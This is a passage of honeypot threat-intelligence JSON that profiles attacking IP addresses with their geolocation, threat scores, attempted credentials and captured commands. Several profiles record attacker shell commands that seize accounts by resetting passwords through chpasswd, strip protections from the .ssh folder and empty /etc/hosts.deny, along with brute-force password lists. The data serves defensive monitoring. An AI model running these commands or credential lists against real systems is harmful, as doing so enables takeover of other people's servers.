        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"sftppass\\nvdzAWmHsMyN8\\nvdzAWmHsMyN8\\n\"|passwd",
        "echo \"user15\\na9kM9ngyM8nk\\na9kM9ngyM8nk\\n\"|passwd",
        "echo -e \"sftppass\\nvdzAWmHsMyN8\\nvdzAWmHsMyN8\"|passwd|bash",
        "echo -e \"user15\\na9kM9ngyM8nk\\na9kM9ngyM8nk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 37182,
      "as_org": "TERNET",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:12:41.214000+00:00",
        "last_seen_30d": "2026-05-10T09:49:04.154000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "165.154.22.228": {
      "attack_count": 280,
      "first_seen": "2026-05-23T07:13:20.881Z",
      "last_seen": "2026-05-23T08:08:44.867Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "audit",
        "admin123",
        "gerrit",
        "git",
        "jrodriguez",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234..",
        "123456",
        "12345678",
        "1234qweR",
        "1q2w3e4r!",
        "Aa000000",
        "Aa@11223344",
        "Ctyun@2026",
        "Passw0rd$",
        "QWERTY12345",
        "Salon@123",
        "admin123",
        "audit",
        "gerrit",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"audit\\nGzovPzJNb1OI\\nGzovPzJNb1OI\\n\"|passwd",
        "echo \"root:bQ4Hez1XdoOV\"|chpasswd|bash",
        "echo \"root:warKDJX99akx\"|chpasswd|bash",
        "echo -e \"audit\\nGzovPzJNb1OI\\nGzovPzJNb1OI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:13:20.881000+00:00",
        "last_seen_30d": "2026-05-23T08:09:53.763000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 50
      }
    },
    "49.247.36.49": {
      "attack_count": 276,
      "first_seen": "2026-05-25T10:15:27.802Z",
      "last_seen": "2026-05-25T11:21:36.736Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "nvidia",
        "curl",
        "sam",
        "user",
        "user1",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456.",
        "1234qwer",
        "Qq12345678",
        "Wangsu@2017",
        "Wq123456",
        "abc..123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "nvidia",
        "p@ssW0rd",
        "password1",
        "sam123",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\naeKIYTs33FKh\\naeKIYTs33FKh\\n\"|passwd",
        "echo \"nvidia\\nHXkEyMN6jKed\\nHXkEyMN6jKed\\n\"|passwd",
        "echo \"root:nSMhHU2OflYy\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\naeKIYTs33FKh\\naeKIYTs33FKh\"|passwd|bash",
        "echo -e \"nvidia\\nHXkEyMN6jKed\\nHXkEyMN6jKed\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:15:27.802000+00:00",
        "last_seen_30d": "2026-05-25T11:22:39.545000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 52
      }
    },
    "27.19.155.153": {
      "attack_count": 220,
      "first_seen": "2026-05-19T18:09:56.116Z",
      "last_seen": "2026-05-21T00:08:56.628Z",
      "sessions": 110,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:09:56.116000+00:00",
        "last_seen_30d": "2026-05-21T00:10:00.258000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 220,
        "Suricata": 110
      }
    },
    "42.100.24.231": {
      "attack_count": 194,
      "first_seen": "2026-05-22T10:06:20.317Z",
      "last_seen": "2026-05-22T20:07:30.368Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:06:20.317000+00:00",
        "last_seen_30d": "2026-05-22T20:08:34.406000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 103
      }
    },
    "191.241.76.128": {
      "attack_count": 190,
      "first_seen": "2026-05-05T01:04:09.884Z",
      "last_seen": "2026-05-31T06:29:26.788Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Duque de Caxias",
      "asn": 53181,
      "as_org": "K2 Telecom e Multimidia LTDA ME",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:04:09.884000+00:00",
        "last_seen_30d": "2026-05-31T06:30:31.211000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 96
      }
    },
    "192.95.10.204": {
      "attack_count": 180,
      "first_seen": "2026-05-08T10:13:14.692Z",
      "last_seen": "2026-05-31T21:08:56.612Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:13:14.692000+00:00",
        "last_seen_30d": "2026-05-31T21:10:06.253000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 90
      }
    },
    "212.199.105.109": {
      "attack_count": 168,
      "first_seen": "2026-05-20T16:59:07.561Z",
      "last_seen": "2026-05-20T17:25:05.919Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "bai",
        "cloud",
        "gigsgigscloud",
        "jung",
        "kibana",
        "ksyun",
        "mongodb",
        "puma",
        "tomcat",
        "xiaohua",
        "zaijian",
        "zhangmin",
        "zhangwei"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "202121",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "890101",
        "changeme",
        "gigsgigscloud",
        "iqiyi",
        "ksyun",
        "manager",
        "pes",
        "puma",
        "singtel",
        "taobao"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:k4B5Ej6syBEc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12400,
      "as_org": "Partner Communications Ltd.",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:59:07.561000+00:00",
        "last_seen_30d": "2026-05-20T17:26:08.480000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "112.85.73.128": {
      "attack_count": 156,
      "first_seen": "2026-05-19T07:02:15.378Z",
      "last_seen": "2026-05-19T18:00:08.673Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nantong",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:02:15.378000+00:00",
        "last_seen_30d": "2026-05-19T18:01:10.220000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 78
      }
    },
    "154.16.119.22": {
      "attack_count": 150,
      "first_seen": "2026-05-08T12:34:26.186Z",
      "last_seen": "2026-05-31T12:51:31.165Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:34:26.186000+00:00",
        "last_seen_30d": "2026-05-31T12:52:33.149000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "149.56.241.206": {
      "attack_count": 144,
      "first_seen": "2026-05-05T01:32:39.467Z",
      "last_seen": "2026-05-29T21:57:29.414Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:32:39.467000+00:00",
        "last_seen_30d": "2026-05-29T21:58:39.466000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 70
      }
    },
    "27.25.67.216": {
      "attack_count": 132,
      "first_seen": "2026-05-21T06:45:27.543Z",
      "last_seen": "2026-05-21T14:04:40.500Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:44:17.108000+00:00",
        "last_seen_30d": "2026-05-21T14:05:49.883000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 78
      }
    },
    "69.75.141.202": {
      "attack_count": 132,
      "first_seen": "2026-05-22T10:23:21.204Z",
      "last_seen": "2026-05-22T20:12:41.697Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:23:21.204000+00:00",
        "last_seen_30d": "2026-05-22T20:13:44.938000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "5.35.124.83": {
      "attack_count": 131,
      "first_seen": "2026-05-24T06:14:13.660Z",
      "last_seen": "2026-05-24T08:03:17.182Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "deleteme",
        "esther",
        "ftpUser",
        "gpadmin",
        "intell",
        "lg",
        "mariadb",
        "sysadm"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd!!!!",
        "a1234",
        "deleteme",
        "dupa1234",
        "esther123",
        "ftpUser",
        "gpadmin",
        "lg",
        "mariadb",
        "qweqwe123",
        "sysadm123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qweqwe123\\nVVnKKRATaRMO\\nVVnKKRATaRMO\\n\"|passwd",
        "echo -e \"qweqwe123\\nVVnKKRATaRMO\\nVVnKKRATaRMO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 211183,
      "as_org": "AdminVPS OOO",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T06:14:13.660000+00:00",
        "last_seen_30d": "2026-05-24T08:04:25.945000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 131,
        "Suricata": 37
      }
    },
    "109.111.175.210": {
      "attack_count": 124,
      "first_seen": "2026-05-29T14:24:49.509Z",
      "last_seen": "2026-05-29T14:49:58.111Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "dima",
        "luca",
        "test1",
        "testuser"
      ],
      "passwords_attempted": [
        "1234",
        "123asdASD",
        "1qaz2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456",
        "Admin$2026",
        "Qwerty@12345",
        "fjbdfdjkdsfs541544",
        "luca",
        "qwerty654321",
        "welcome@2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\noM2gMGNSCOWg\\noM2gMGNSCOWg\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\noM2gMGNSCOWg\\noM2gMGNSCOWg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 40995,
      "as_org": "Sibirskie Seti Ltd.",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T14:24:49.509000+00:00",
        "last_seen_30d": "2026-05-29T14:51:00.013000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "202.44.196.243": {
      "attack_count": 116,
      "first_seen": "2026-05-22T20:37:14.873Z",
      "last_seen": "2026-05-23T07:43:08.261Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chiang Mai",
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:37:14.873000+00:00",
        "last_seen_30d": "2026-05-23T07:44:09.100000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 60
      }
    },
    "180.191.22.170": {
      "attack_count": 114,
      "first_seen": "2026-05-23T08:14:35.426Z",
      "last_seen": "2026-05-23T13:48:24.719Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:14:35.426000+00:00",
        "last_seen_30d": "2026-05-23T13:49:28.162000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 57
      }
    },
    "103.91.246.101": {
      "attack_count": 98,
      "first_seen": "2026-05-13T06:40:39.939Z",
      "last_seen": "2026-05-13T07:45:06.783Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "5tgbnhy67ujm",
        "candelaria",
        "cheese",
        "meteor",
        "nicole",
        "vpopmail"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:RRVdFWYW9J7L\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140641,
      "as_org": "YOTTA NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:40:39.939000+00:00",
        "last_seen_30d": "2026-05-13T07:46:10.958000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 22
      }
    },
    "199.127.62.250": {
      "attack_count": 96,
      "first_seen": "2026-05-08T15:09:16.138Z",
      "last_seen": "2026-05-31T03:10:32.354Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
